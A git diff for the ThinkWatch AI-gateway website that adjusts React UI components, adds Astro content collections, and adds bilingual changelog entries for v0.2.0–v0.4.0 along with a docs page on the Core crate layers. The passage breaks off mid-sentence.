          diff --git a/src/components/ui/MagneticButton.tsx b/src/components/ui/MagneticButton.tsx deleted file mode 100644 index 5f846b4..0000000 --- a/src/components/ui/MagneticButton.tsx +++ /dev/null @@ -1,51 +0,0 @@ -import { useRef, type ReactNode } from "react"; - -type Props = { - href: string; - children: ReactNode; - className?: string; - /** max pull in pixels */ - pull?: number; - external?: boolean; -}; - -export default function MagneticButton({ - href, - children, - className = "", - pull = 10, - external = false, -}: Props) { - const ref = useRef(null); - - const onMove = (e: React.MouseEvent) => { - const el = ref.current; - if (!el) return; - const rect = el.getBoundingClientRect(); - const x = e.clientX - (rect.left + rect.width / 2); - const y = e.clientY - (rect.top + rect.height / 2); - const dx = (x / rect.width) * pull * 2; - const dy = (y / rect.height) * pull * 2; - el.style.transform = `translate(${dx}px, ${dy}px)`; - }; - - const onLeave = () => { - const el = ref.current; - if (!el) return; - el.style.transform = "translate(0, 0)"; - }; - - return ( - - {children} - - ); -} diff --git a/src/components/ui/Terminal.tsx b/src/components/ui/Terminal.tsx index 4e00e52..03291c9 100644 --- a/src/components/ui/Terminal.tsx +++ b/src/components/ui/Terminal.tsx @@ -15,7 +15,7 @@ const script: Frame[] = [ { kind: "info", text: "▸ route → anthropic · convert openai→messages · cb=Closed" }, { kind: "stream", - text: "ThinkWatch is the single gateway through which every model request and every MCP tool call flows. Every token logged. Every dollar attributed.", + text: "[streamed model response]", }, { kind: "info", text: "▸ done · 2.4s · in=187 out=842 tokens · cost=$0.0153 · audit-id=01HQ9F..." }, ]; @@ -34,11 +34,20 @@ function useTypewriter(active: boolean) { acc.push({ kind: f.kind, text: "" }); const idx = acc.length - 1; const speed = f.kind === "stream" ? 18 : f.kind === "prompt" ? 8 : 6; - for (let i = 1; i <= f.text.length; i++) { + // Progress by elapsed time rather than one timer per character, so the + // text types at the intended pace even when the main thread is busy + // (for example while the 3D hero is rendering on a slow GPU). + const start = performance.now(); + let shown = 0; + while (shown < f.text.length) { if (cancelled) return; - acc[idx] = { kind: f.kind, text: f.text.slice(0, i) }; - setOut([...acc]); - await new Promise((r) => setTimeout(r, speed)); + await new Promise((r) => setTimeout(r, 16)); + const next = Math.min(f.text.length, Math.max(shown + 1, Math.floor((performance.now() - start) / speed))); + if (next !== shown) { + shown = next; + acc[idx] = { kind: f.kind, text: f.text.slice(0, shown) }; + setOut([...acc]); + } } await new Promise((r) => setTimeout(r, 350)); } @@ -53,7 +62,7 @@ function useTypewriter(active: boolean) { return { out, done }; } -export default function Terminal() { +export default function Terminal({ sampleLabel = "Sample" }: { sampleLabel?: string }) { const [ref, inView] = useInView("0px"); const { out, done } = useTypewriter(inView); @@ -68,6 +77,7 @@ export default function Terminal() { ~ alice@laptop · zsh + {sampleLabel}
        {/* Body */} @@ -83,7 +93,7 @@ export default function Terminal() {
        {f.text}
        )} {f.kind === "stream" && ( -
        {f.text}
        +
        {f.text}
        )}
        ))} diff --git a/src/components/ui/TiltCard.tsx b/src/components/ui/TiltCard.tsx index 91ffe24..027060a 100644 --- a/src/components/ui/TiltCard.tsx +++ b/src/components/ui/TiltCard.tsx @@ -48,7 +48,7 @@ export default function TiltCard({ children, className = "", max = 7 }: Props) { className="pointer-events-none absolute inset-0 rounded-[inherit] opacity-0 group-hover:opacity-100 transition-opacity" style={{ background: - "radial-gradient(400px circle at var(--mx,50%) var(--my,50%), rgba(34,211,238,0.10), transparent 40%)", + "radial-gradient(400px circle at var(--mx,50%) var(--my,50%), rgba(34,229,242,0.10), transparent 40%)", }} />
        diff --git a/src/content.config.ts b/src/content.config.ts index 4b64eca..e4aeb55 100644 --- a/src/content.config.ts +++ b/src/content.config.ts @@ -1,15 +1,69 @@ import { defineCollection, z } from "astro:content"; import { glob } from "astro/loaders"; +import { coreDocsLoader } from "./lib/core-docs-loader"; +import { releaseNotesLoader } from "./lib/release-notes"; + +const changelogSchema = z.object({ + version: z.string(), + date: z.coerce.date(), + type: z.enum(["release", "feature", "fix", "security"]).default("release"), + title: z.string(), + highlights: z.array(z.string()).optional(), +}); const changelog = defineCollection({ - loader: glob({ pattern: "**/*.md", base: "./src/content/changelog" }), + loader: glob({ pattern: "en/**/*.md", base: "./src/content/changelog" }), + schema: changelogSchema, +}); + +const changelog_zh = defineCollection({ + loader: glob({ pattern: "zh-CN/**/*.md", base: "./src/content/changelog" }), + schema: changelogSchema, +}); + +// Docs imported from the ThinkWatch repository's docs/ directory. +// They have no frontmatter; the schema allows an empty object. +const docs = defineCollection({ + loader: glob({ pattern: "**/*.md", base: "./src/content/docs" }), + schema: z.object({}).passthrough(), +}); + +// Product docs for ThinkWatch Lite and ThinkWatch Core, written for this site. +// Layout mirrors `docs`: en/.md and zh-CN/.md, no frontmatter. +// en/overview.md is rendered as the product's docs home (/docs/lite, /docs/core). +const docs_lite = defineCollection({ + loader: glob({ pattern: "**/*.md", base: "./src/content/docs-lite" }), + schema: z.object({}).passthrough(), +}); + +const docs_core = defineCollection({ + loader: glob({ pattern: "**/*.md", base: "./src/content/docs-core" }), + schema: z.object({}).passthrough(), +}); + +// Core documents whose text lives in the ThinkWatch Core repository (the +// configuration reference, the server deployment guide): fetched from the latest +// Core release at build time, see src/lib/core-docs.mjs. Same ids as docs_core. +const docs_core_synced = defineCollection({ + loader: coreDocsLoader(), + schema: z.object({ + /** Path of the document in the Core repository */ + source: z.string(), + /** The tag it was taken from */ + ref: z.string(), + }), +}); + +// The notes published with each release on GitHub, shown on the changelog: +// see src/lib/release-notes.ts. Ids are "/-". +const release_notes = defineCollection({ + loader: releaseNotesLoader(), schema: z.object({ - version: z.string(), - date: z.coerce.date(), - type: z.enum(["release", "feature", "fix", "security"]).default("release"), - title: z.string(), - highlights: z.array(z.string()).optional(), + product: z.enum(["enterprise", "lite", "core"]), + /** The git tag, e.g. "v0.47.0" */ + tag: z.string(), + lang: z.enum(["en", "zh-CN"]), }), }); -export const collections = { changelog }; +export const collections = { changelog, changelog_zh, docs, docs_lite, docs_core, docs_core_synced, release_notes }; diff --git a/src/content/changelog/2026-04-06-v0.1.0.md b/src/content/changelog/en/2026-04-06-v0.1.0.md similarity index 100% rename from src/content/changelog/2026-04-06-v0.1.0.md rename to src/content/changelog/en/2026-04-06-v0.1.0.md diff --git a/src/content/changelog/en/2026-04-10-v0.2.0.md b/src/content/changelog/en/2026-04-10-v0.2.0.md new file mode 100644 index 0000000..b6fa8f7 --- /dev/null +++ b/src/content/changelog/en/2026-04-10-v0.2.0.md @@ -0,0 +1,33 @@ +--- +version: "0.2.0" +date: 2026-04-10 +type: feature +title: Teams, spending controls, and a programmable API +highlights: + - Teams — isolate keys, budgets, and analytics per business unit + - Rate limits & budget caps with fail-closed enforcement and spend alerts + - RBAC v2 — custom roles, permission history, one-click import/export + - Tokens moved to HttpOnly cookies — XSS can no longer steal sessions + - Full management API with OpenAPI docs and API-key auth + - Real-time dashboard powered by WebSocket +--- + +## Teams + +Users and API keys can now be organized into teams. Each team gets its own isolated view of the analytics dashboard, its own user list, and its own scope when assigning API keys. A structured scope picker makes member assignment straightforward. + +## Spending controls + +A new limits engine enforces **rate limits and budget caps** at every layer — per user, per API key, per provider, and per MCP server. Limits are configured through a panel embedded directly in each edit dialog. When a budget is exhausted the gateway **fails closed** — no silent overruns. Budget alert thresholds let you set a warning before the hard cap is hit. Streaming requests are metered correctly; weighted token costs are supported for models with asymmetric pricing. + +## RBAC v2 + +The role system has been completely reworked. Built-in and custom roles share a unified table. Custom roles are fully editable in a CodeMirror editor, support cloning from an existing role as a starting point, and track a full permission history so you can see who changed what and when. Roles can be exported and imported as JSON for environment parity. Role assignments are now scope-aware — a role granted at the team level applies only within that team. + +## Security hardening + +Access and refresh tokens have been migrated from `localStorage` to HttpOnly cookies — the JavaScript-visible session surface is now zero. The refresh endpoint binds each token to the originating client IP, so a stolen cookie cannot be replayed from a different network. The WebSocket dashboard connection now uses a one-shot ticket rather than a long-lived credential. + +## Management API + +The gateway now exposes a programmable management API authenticated by API key. A full OpenAPI specification is served alongside the gateway so you can integrate key lifecycle and provisioning into your own tooling or CI pipelines without touching the console. diff --git a/src/content/changelog/en/2026-05-08-v0.3.0.md b/src/content/changelog/en/2026-05-08-v0.3.0.md new file mode 100644 index 0000000..2112730 --- /dev/null +++ b/src/content/changelog/en/2026-05-08-v0.3.0.md @@ -0,0 +1,44 @@ +--- +version: "0.3.0" +date: 2026-05-08 +type: feature +title: MCP, the per-user way +highlights: + - Per-user upstream credentials — every developer authenticates as themselves to GitHub, Linear, Slack + - One-paste OAuth onboarding via Dynamic Client Registration + - MCP Store with bilingual templates (Linear OAuth seeded out of the box) + - Step-by-step registration wizard + auth-mode-aware edit form + - Three-tier upstream subject resolution (JWT + userinfo + discovery) + - Per-credential Test Connection on /connections + - Per-user tool catalogs — different users see different tools based on upstream permissions + - MCP response cache scoped per (user, account_label) — no cross-user leakage + - Security hardening from review — SSRF, cache, rate limits, audit +--- + +## Per-user upstream credentials + +The MCP gateway no longer pretends every user is the same upstream service account. Each developer authenticates as themselves — via OAuth or PAT — to GitHub, Linear, Slack, and any other MCP-enabled service. The upstream audit trail finally works end-to-end: tickets are assigned to real people, GitHub issues are created by the engineer who actually filed them. Per-key account overrides let one user maintain multiple identities (personal + work GitHub) and pick which one a given API key uses. + +## One-paste OAuth onboarding + +Paste an MCP server URL into the registration wizard. ThinkWatch handles **Dynamic Client Registration** with the upstream OAuth server, runs the auth probe, captures the OAuth client credentials at install time, and walks you through the consent screen. 401/403 from anonymous probes is correctly classified as `auth_required` (with an amber status indicator on the catalog tile) rather than a hard failure, so partially-protected servers register cleanly. + +## MCP Store + +A bilingual template registry is now built into the gateway. Templates ship with sensible defaults, the necessary OAuth scopes, and end-user-facing notes. The Linear OAuth template is seeded out of the box; more popular services follow. **Display labels** disambiguate multi-install templates so a personal GitHub install and a work GitHub install appear as distinct tiles instead of two indistinguishable entries. + +## Step-by-step registration wizard + +MCP server registration was reworked into a guided wizard with auth-mode-aware screens. The edit form refuses to save fields that don't belong to the current auth mode, and tool-call / install errors are now surfaced in plain language with actionable next steps instead of raw JSON-RPC error codes. + +## Three-tier upstream subject resolution + +When an upstream MCP server uses OAuth, ThinkWatch resolves the upstream user identity through a three-tier strategy: parse the JWT if present, fall back to the OAuth userinfo endpoint, fall back again to issuer discovery. The resolved subject becomes the cache and audit key, so two users who share an MCP server stay strictly separated downstream. + +## Per-credential Test Connection + +The `/connections` page surfaces a per-credential **Test Connection** button. Verify your OAuth/PAT actually works against the upstream server before committing to it; the result is structured (auth_ok / auth_required / unreachable / tool_call_ok) rather than a single green/red dot, so you know exactly which step is broken. + +## Security hardening + +Following an internal security review, the MCP path now has SSRF protection on probe URLs, the response cache is scoped per `(user, account_label)` so OAuth/PAT data never leaks across users, rate limits are applied at every gateway hop, audit records are emitted on tool-call boundaries, and admin foot-gun guards prevent the most common misconfigurations (verifying static tokens at paste time, blocking obviously-wrong credential combinations). diff --git a/src/content/changelog/en/2026-05-23-v0.4.0.md b/src/content/changelog/en/2026-05-23-v0.4.0.md new file mode 100644 index 0000000..25e2895 --- /dev/null +++ b/src/content/changelog/en/2026-05-23-v0.4.0.md @@ -0,0 +1,62 @@ +--- +version: "0.4.0" +date: 2026-05-23 +type: feature +title: See every byte +highlights: + - Request + response bodies captured for every gateway and MCP call + - PII redaction at capture; per-column TTL splits hot bodies from cold metadata + - S3-compatible body offload — AWS S3, MinIO, Ceph, or the bundled RustFS + - Bloom-filter substring search across captured bodies + - audit:read_bodies permission gates the body viewer + - MCP downstream SSE — clients can subscribe to tools/call event timelines + - Per-model routing with Auto / Manual modes + drag-to-redistribute traffic bar + - Model-level kill switch — pause one model without the whole provider + - Pre-call budget check rejects requests when caps are already exhausted + - allowed_models enforced uniformly on Anthropic Messages + OpenAI Responses +--- + +## Full-body audit capture + +ThinkWatch positioned itself as a bastion for AI traffic — but every audit row was metadata-only. Token counts, latency, cost. No record of what the user actually asked or what the model actually answered. Compliance teams couldn't replay incidents, attest "PII X was sent", or even tell two near-identical requests apart. + +v0.4.0 closes the gap. `gateway_logs` now persists `request_body` + `response_body` (with byte counts and a `body_capture_status` dimension); `mcp_logs` persists the parallel `tool_arguments` + `tool_result`. ZSTD(6) compression keeps cold storage tractable; six dynamic config toggles (capture toggles per field + a global `body_max_bytes`) let operators dial scope without a redeploy. Cache-hit responses now emit a full audit row instead of disappearing into a hole. + +## Per-column TTL + S3 offload + +Hot evidence and cold metadata have very different retention shapes. Per-column TTL lets you keep the last 30 days of bodies and several years of token/cost rows in the same table, without paying ClickHouse for the cross. + +For payloads that exceed `body_max_bytes` — 200k-context prompts, MCP file-read tools returning whole files, base64 images — bodies offload to S3 instead of being truncated. Backend is config-driven via six env vars (`S3_ENDPOINT_URL`, `S3_BUCKET`, etc.) and works against AWS S3, MinIO, Ceph, or the **bundled RustFS** container shipped in the dev and prod Docker Compose files. Object keys carry a date prefix (`bodies//yyyy/mm/dd/...`) so bucket lifecycle rules can age them off independently. The body-viewer endpoint transparently dereferences `s3://` cells, so the console doesn't know offload exists. + +## Bloom-filter substring search + +Captured-body columns ship with a `tokenbf_v1(512, 3, 0)` index. Auditors hunting for "which conversations mentioned API key XYZ" or "which tool calls touched /etc/passwd" no longer scan every granule — the bloom filter rejects the vast majority of rows up front. Indexes are sized at ~50 KB per granule, paying for themselves the first time someone needs to answer a real compliance question. + +A new `audit:read_bodies` permission gates the body viewer in the console and the underlying `/api/admin/{gateway,mcp}/logs/{id}/body` endpoint, so the raw payload is preserved as legal record of intent while still requiring a separate grant to read. + +## MCP downstream streaming + +`tools/call` was buffered-only on the client side: even when the upstream emitted progress notifications, the gateway swallowed the timeline and returned a single JSON. v0.4.0 negotiates on the `Accept` header — clients including `text/event-stream` receive each upstream event (notifications/progress, partials, final response) as a discrete SSE event downstream. JSON-only clients keep the buffered shape for backward compat. The audit pipeline still gets the full event timeline either way. + +## Per-model routing + +Model-route configuration is now organised around the admin's actual mental model: **Auto** (latency-cost, balanced, or latency-only) or **Manual** (a drag-to-redistribute traffic bar across peers). The priority-tier failover concept is gone; replaced with nginx-style flat peers + circuit-breaker bypass. Each model can override the global strategy; the dashboard surfaces `routing-projection` so the UI can show "your manual config will cost $X; auto would cost $Y" before you commit. + +Three new endpoints back the UI: +- `PATCH /api/admin/model-routes/batch-weights` — the drag bar's commit endpoint +- `GET /api/admin/models/{id}/routing-projection` — current vs. auto split + projected $/1M tokens +- `GET /api/admin/models/{id}/route-history` — 60 one-minute p50/p95 buckets for the latency sparkline + +The decision log captures provider chosen + reason + any fallback for every request, and every `gateway_logs` row stamps the actual `upstream_model` so post-mortems are unambiguous. + +## Pre-call budget enforcement + +Budget caps used to fire post-flight: a runaway client whose monthly cap was already at zero could still fire requests, and only the post-call debit would notice — by which point the upstream had already burned tokens. v0.4.0 adds a `check_budget` lifecycle stage that runs **before** the upstream call. Steady-state "your cap is exhausted, stop sending" is now blocked at the gate; the existing crossing alerts continue to cover the concurrent-burst race. + +## allowed_models on every API surface + +The per-API-key `allowed_models` allowlist is now enforced uniformly on OpenAI Chat Completions, Anthropic Messages, and OpenAI Responses. The same enforcement is wired into the shared lifecycle pipeline, so future surfaces inherit it automatically — no API surface bypasses the model allowlist. + +## Under the hood + +A shared **lifecycle pipeline** unifies the AI gateway and MCP gateway request paths behind a common `Surface` trait. `check_limits`, `check_access`, `check_budget`, `record_usage` are now stages applied symmetrically on both surfaces, eliminating the historical drift between buffered, streaming, and short-circuit branches. The MCP `proxy.rs` and gateway `proxy.rs` both got split into submodules, and the 1667-line dashboard component on the frontend was carved into focused subcomponents. diff --git a/src/content/changelog/zh-CN/2026-04-06-v0.1.0.md b/src/content/changelog/zh-CN/2026-04-06-v0.1.0.md new file mode 100644 index 0000000..23aa3cf --- /dev/null +++ b/src/content/changelog/zh-CN/2026-04-06-v0.1.0.md @@ -0,0 +1,15 @@ +--- +version: "0.1.0" +date: 2026-04-06 +type: release +title: 公开预览 +highlights: + - 多格式 AI API 网关(OpenAI、Anthropic、Gemini、Bedrock) + - MCP 网关,含命名空间隔离与工具级 RBAC + - ClickHouse 驱动的审计日志,支持多通道转发 + - 首次运行初始化向导与内置配置指南 +--- + +ThinkWatch 现已进入公开预览阶段。此次首个标记版本包含双端口架构(网关 `:3000`,控制台 `:3001`)、虚拟 API 密钥生命周期管理、滑动窗口限流、熔断器,以及统一日志检索。 + +Helm Chart 与 Distroless 容器镜像均已发布,同时支持 Docker Compose 自托管部署。 diff --git a/src/content/changelog/zh-CN/2026-04-10-v0.2.0.md b/src/content/changelog/zh-CN/2026-04-10-v0.2.0.md new file mode 100644 index 0000000..3163da6 --- /dev/null +++ b/src/content/changelog/zh-CN/2026-04-10-v0.2.0.md @@ -0,0 +1,33 @@ +--- +version: "0.2.0" +date: 2026-04-10 +type: feature +title: 团队、消费管控与可编程 API +highlights: + - 团队——按业务单元隔离密钥、预算与分析数据 + - 限流与预算上限,fail-closed 强制执行,含消费告警 + - RBAC v2——自定义角色、权限历史、一键导入/导出 + - Token 迁移至 HttpOnly Cookie,XSS 无法再窃取会话 + - 完整管理 API,含 OpenAPI 文档与 API 密钥认证 + - WebSocket 驱动的实时看板 +--- + +## 团队 + +用户和 API 密钥现在可以组织到团队中。每个团队拥有独立的分析看板视图、独立的用户列表,以及分配 API 密钥时独立的作用域。结构化的作用域选择器使成员管理更加清晰。 + +## 消费管控 + +全新的限额引擎在每个层级强制执行**限流与预算上限**——按用户、按 API 密钥、按 Provider、按 MCP 服务器。限额直接内嵌在各编辑对话框的专属面板中,无需跳转到单独的配置页面。当预算耗尽时,网关采用 **fail-closed** 机制——无静默超支。可设置预算告警阈值,在达到硬性上限前提前预警。流式请求计费准确;支持输入输出 token 价格不对称的模型加权计费。 + +## RBAC v2 + +角色系统经过全面重构。内置角色与自定义角色统一到同一张表中。自定义角色可在 CodeMirror 编辑器中完整编辑,支持从现有角色克隆作为起点,并追踪完整的权限变更历史,清楚记录谁在什么时候做了什么修改。角色支持以 JSON 格式导出和导入,便于跨环境保持一致性。角色授权现在感知作用域——在团队层级授予的角色仅在该团队内生效。 + +## 安全加固 + +访问令牌和刷新令牌已从 `localStorage` 迁移到 HttpOnly Cookie,JavaScript 可见的会话面完全归零。XSS 攻击无法窃取 Token。刷新端点将每个令牌绑定到来源客户端 IP,被盗 Cookie 无法跨网络重放。WebSocket 看板连接现在使用一次性票据,而非长期有效凭证。 + +## 管理 API + +网关现在开放了以 API 密钥认证的可编程管理接口。完整的 OpenAPI 规范与网关一同部署,可将密钥和用户的生命周期管理集成到自有工具链或 CI 流水线,无需打开控制台操作。 diff --git a/src/content/changelog/zh-CN/2026-05-08-v0.3.0.md b/src/content/changelog/zh-CN/2026-05-08-v0.3.0.md new file mode 100644 index 0000000..2e14cf8 --- /dev/null +++ b/src/content/changelog/zh-CN/2026-05-08-v0.3.0.md @@ -0,0 +1,44 @@ +--- +version: "0.3.0" +date: 2026-05-08 +type: feature +title: MCP,按用户的方式 +highlights: + - 按用户的上游凭证——每位开发者以自己的身份连接 GitHub、Linear、Slack + - Dynamic Client Registration 一键 OAuth 接入 + - MCP Store 双语模板市场(Linear OAuth 模板开箱预置) + - 分步注册向导 + 鉴权模式感知的编辑表单 + - 三层上游身份解析(JWT + userinfo + discovery) + - /connections 页面提供逐凭证 Test Connection + - 按用户的工具目录——不同用户根据上游权限看到不同工具集 + - MCP 响应缓存按 (user, account_label) 隔离——无跨用户串扰 + - 安全评审加固 —— SSRF、缓存隔离、限流、审计 +--- + +## 按用户的上游凭证 + +MCP 网关不再假装所有用户都是同一个上游服务账号。每位开发者以自己的身份——通过 OAuth 或 PAT——连接 GitHub、Linear、Slack 以及任何启用了 MCP 的服务。上游审计轨迹终于端到端贯通:工单分配给真实的人、GitHub Issue 由实际提交者创建。逐密钥账号覆盖(per-key account override)让同一用户可同时维护多个身份(个人 + 工作 GitHub),并指定某个 API 密钥使用哪一个。 + +## 一键 OAuth 接入 + +在注册向导中粘贴 MCP 服务器 URL,ThinkWatch 自动与上游 OAuth 服务器完成 **Dynamic Client Registration**,运行鉴权探测,在安装时收集 OAuth 客户端凭证,并引导你完成授权页面。匿名探测的 401/403 被正确识别为 `auth_required`(在目录卡片上显示琥珀色状态指示),而不是硬性失败——部分受保护的服务器也能干净地注册。 + +## MCP Store + +网关内置双语模板注册表。模板自带合理默认值、所需 OAuth scope,以及面向终端用户的说明。Linear OAuth 模板开箱预置,更多主流服务陆续加入。**Display Label** 让多次安装的模板区分清晰:个人 GitHub 安装与工作 GitHub 安装显示为独立卡片,而不是两个无法分辨的条目。 + +## 分步注册向导 + +MCP 服务器注册重构为分步引导式向导,鉴权模式不同呈现不同界面。编辑表单拒绝保存与当前鉴权模式不匹配的字段;工具调用与安装错误以易懂的语言展示并给出可执行的下一步建议,而不是原始 JSON-RPC 错误码。 + +## 三层上游身份解析 + +当上游 MCP 服务器使用 OAuth 时,ThinkWatch 通过三层策略解析上游用户身份:先解析 JWT,回落到 OAuth userinfo 端点,再回落到 issuer discovery。解析得到的 subject 作为缓存和审计的关键键值,让共用同一个 MCP 服务器的两位用户在下游严格分离。 + +## 逐凭证 Test Connection + +`/connections` 页面为每个凭证提供 **Test Connection** 按钮。在正式提交前先验证你的 OAuth/PAT 是否真的能连上上游服务器;结果是结构化的(auth_ok / auth_required / unreachable / tool_call_ok),不再是单一红绿点——你能精确知道哪一步出了问题。 + +## 安全加固 + +经过一次内部安全评审,MCP 路径新增:探测 URL 的 SSRF 防护;响应缓存按 `(user, account_label)` 隔离,OAuth/PAT 数据绝不跨用户泄露;每一跳网关都启用限流;工具调用边界发出结构化审计;管理员防误操作护栏(粘贴时验证静态 Token、阻止明显错误的凭证组合)。 diff --git a/src/content/changelog/zh-CN/2026-05-23-v0.4.0.md b/src/content/changelog/zh-CN/2026-05-23-v0.4.0.md new file mode 100644 index 0000000..3ca3822 --- /dev/null +++ b/src/content/changelog/zh-CN/2026-05-23-v0.4.0.md @@ -0,0 +1,62 @@ +--- +version: "0.4.0" +date: 2026-05-23 +type: feature +title: 看见每一个字节 +highlights: + - 每一次 Gateway 和 MCP 调用都持久化 request / response body + - 落盘前 PII 脱敏;按列 TTL 让「热 body」和「冷元数据」分别衰减 + - S3 兼容的 Body 卸载 —— AWS S3、MinIO、Ceph 或内置 RustFS + - 基于布隆过滤器索引的跨行子串搜索 + - audit:read_bodies 独立权限控制 Body 查看器 + - MCP 下游 SSE —— 客户端可订阅 tools/call 事件时间线 + - 按模型路由:Auto / Manual 两种模式 + 拖拽式流量分配条 + - 模型级开关 —— 暂停单个模型而不影响整个 Provider + - Pre-call 预算检查直接拒绝已超额请求 + - allowed_models 在 Anthropic Messages 与 OpenAI Responses 同样强制 +--- + +## 全量请求 / 响应体审计 + +ThinkWatch 把自己定位成 AI 流量的「堡垒机」—— 但每行审计只有元数据。Token 数、延迟、成本。用户实际问了什么、模型实际答了什么,没有记录。合规团队没法复盘事故、没法证明「PII X 被发送过」,甚至分不清两个几乎一模一样的请求。 + +v0.4.0 补齐这段。`gateway_logs` 新增 `request_body` + `response_body`(外加字节数与 `body_capture_status` 维度);`mcp_logs` 对应新增 `tool_arguments` + `tool_result`。ZSTD(6) 压缩把冷存储成本压在可控区间;六个动态配置开关(逐字段开关 + 全局 `body_max_bytes`)让运维不重启就能调整范围。缓存命中的响应现在也会写出完整审计行,不再有「黑洞」。 + +## 按列 TTL + S3 卸载 + +「热证据」和「冷元数据」的保留形状完全不同。按列 TTL 让你可以在同一张表里同时保留近 30 天的 body 和数年的 token / 成本行,不必为这种交叉支付 ClickHouse 的代价。 + +对于超过 `body_max_bytes` 的载荷 —— 200k 上下文 prompt、读取整个文件的 MCP 工具、Base64 图片 —— body 会卸载到 S3 而不是被截断。后端通过六个环境变量配置(`S3_ENDPOINT_URL`、`S3_BUCKET` 等),可对接 AWS S3、MinIO、Ceph,或 Docker Compose 中**内置的 RustFS** 容器。对象 key 带日期前缀(`bodies/
        /yyyy/mm/dd/...`),便于配置 Bucket 生命周期规则独立老化。Body Viewer 端点透明解引用 `s3://` 单元格,控制台完全感知不到卸载存在。 + +## 布隆过滤器子串搜索 + +捕获的 body 列附带 `tokenbf_v1(512, 3, 0)` 索引。审计员查询「哪些会话提到了 API key XYZ」或「哪些工具调用碰过 /etc/passwd」时,不再需要扫描每个 granule —— 布隆过滤器在前置阶段就排除了绝大多数行。索引大小约 50 KB / granule,第一次回答真实合规问题时就回本了。 + +新增独立权限 `audit:read_bodies` 控制 Body Viewer 与底层 `/api/admin/{gateway,mcp}/logs/{id}/body` 端点 —— 原始载荷作为「行为意图」的法律证据保留,但读取需要单独授权。 + +## MCP 下游流式响应 + +`tools/call` 在客户端侧此前只支持缓冲:哪怕上游已经发出 progress 通知,网关也会吞掉时间线,只返回一个 JSON。v0.4.0 基于 `Accept` 头协商 —— 包含 `text/event-stream` 的客户端会逐事件接收上游响应(notifications/progress、中间块、最终结果)作为独立 SSE 事件下发。仅 JSON 的客户端保留原缓冲形态,向后兼容。审计管线无论哪种姿态都拿到完整事件时间线。 + +## 按模型路由 + +模型路由配置围绕管理员真实的心智模型重新组织:**Auto**(latency-cost / balanced / latency-only)或 **Manual**(peer 间拖拽式流量分配条)。优先级 / 分层故障转移概念被移除;替换为 nginx 风格的扁平 peer 集 + 熔断器旁路。每个模型可以覆盖全局策略;仪表盘暴露 `routing-projection`,让 UI 在你提交前先告诉你「你的手动配置将花费 $X;自动则是 $Y」。 + +三个新端点支撑 UI: +- `PATCH /api/admin/model-routes/batch-weights` —— 拖拽条的提交端点 +- `GET /api/admin/models/{id}/routing-projection` —— 当前 vs Auto 流量分配 + 预计 $/1M tokens +- `GET /api/admin/models/{id}/route-history` —— 60 桶 1 分钟 p50/p95,喂给延迟迷你折线图 + +决策日志为每个请求记录所选 Provider + 原因 + 任何回退;每行 `gateway_logs` 标记真实的 `upstream_model`,事故复盘不留歧义。 + +## Pre-call 预算强制 + +预算上限此前只在 Post-flight 触发:月度配额已经为零的失控客户端仍能发出请求,只有事后扣账才会注意到 —— 而那时上游 token 已经被烧掉了。v0.4.0 增加 `check_budget` 生命周期阶段,**在上游调用之前**运行。「你的配额已耗尽,停止发送」这类稳态场景现在直接被关在门外;既有的跨阈值告警继续覆盖并发突发的竞态。 + +## allowed_models 全表面强制 + +每个 API 密钥的 `allowed_models` 白名单现在在 OpenAI Chat Completions、Anthropic Messages、OpenAI Responses 上一致强制。同一套强制被接入共享生命周期管线,未来新增表面自动继承 —— 没有任何 API 表面可以绕过模型白名单。 + +## 引擎内 + +新的**共享生命周期管线**用统一的 `Surface` trait 把 AI 网关与 MCP 网关的请求路径合流。`check_limits`、`check_access`、`check_budget`、`record_usage` 现在作为对称应用的阶段同时存在于两侧,消除了「缓冲、流式、短路」三条分支之间长期存在的漂移。MCP 的 `proxy.rs` 与 Gateway 的 `proxy.rs` 都被切分为子模块;前端 1667 行的 dashboard 组件也被拆解为更聚焦的子组件。 diff --git a/src/content/docs-core/en/crate-layers.md b/src/content/docs-core/en/crate-layers.md new file mode 100644 index 0000000..49f463a --- /dev/null +++ b/src/content/docs-core/en/crate-layers.md @@ -0,0 +1,53 @@ +# Crate layers + +ThinkWatch Core consists of seventeen crates and one binary, `twcore`. The workspace divides the crates in two: the four that ThinkWatch Enterprise depends on, and the crates of the gateway that `twcore` runs, which ThinkWatch Enterprise does not use. Within the second part, the crates are grouped by role. + +``` +tw-dialect · tw-guard · tw-breaker · tw-bedrock ← shared with ThinkWatch Enterprise +tw-types · tw-engine · tw-pricing · tw-yaml · tw-secret · tw-watch ← domain logic +tw-api · tw-link ← control-plane contract +tw-config · tw-store · tw-observe ← assembly +tw-gateway · tw-control ← data plane / control plane +``` + +No crate depends on a group below its own. + +| Group | Crate | Role | +| --- | --- | --- | +| Shared with ThinkWatch Enterprise | `tw-dialect` | Conversion of requests, responses and streams between Anthropic Messages, OpenAI Chat Completions, OpenAI Responses and Gemini; usage parsing | +| | `tw-guard` | Outbound redaction and restoration, inspection of the tool calls an upstream returns, and the content filter, with the settings, built-in rules, validation, rule listings and trials of all three | +| | `tw-breaker` | The circuit-breaker state machine | +| | `tw-bedrock` | Amazon Bedrock on the wire: SigV4 signing, event-stream framing, addresses and the model catalog | +| Domain logic | `tw-types` | Messages for people: a stable code, its arguments and the English sentence | +| | `tw-engine` | The routing rule engine and strategy groups | +| | `tw-pricing` | The public price table, price sheets, and cost in three states: measured, estimated and unpriced | +| | `tw-yaml` | Minimal edits to YAML text that keep comments and layout | +| | `tw-secret` | Environment variable interpolation, credentials from commands, and secret masking | +| | `tw-watch` | Directory watching with one signal per burst of changes | +| Control-plane contract | `tw-api` | Request and response types of the control plane, and a client | +| | `tw-link` | The handshake and encryption of the control channel (Noise `NNpsk0`) | +| Assembly | `tw-config` | Configuration schema, loading and validation | +| | `tw-store` | Request history and runtime state on SQLite and the file system | +| | `tw-observe` | The event bus | +| Data plane / control plane | `tw-gateway` | The gateway's HTTP server | +| | `tw-control` | The control-plane API over a unix socket, a loopback port on Windows, and the optional remote control port | + +## Shared with ThinkWatch Enterprise + +ThinkWatch Enterprise depends on the first group and nothing else: format conversion and usage parsing (`tw-dialect`), the guards and their rules (`tw-guard`), the circuit breaker (`tw-breaker`) and Amazon Bedrock's wire protocol (`tw-bedrock`). These four depend only on each other, which a test in `tw-dialect` enforces, and CI builds ThinkWatch Enterprise against every change to them. A component that only one product uses lives in that product's repository rather than in Core. + +## Used by ThinkWatch Lite + +ThinkWatch Lite bundles the `twcore` binary of a Core release and compiles `tw-api`, `tw-link`, `tw-types`, `tw-yaml`, `tw-guard` and `tw-watch` from the same tag: the app and the binary speak one control-plane protocol, so both have to come from one commit. + +Configuring AI clients to use the gateway, editing their MCP servers and scanning their 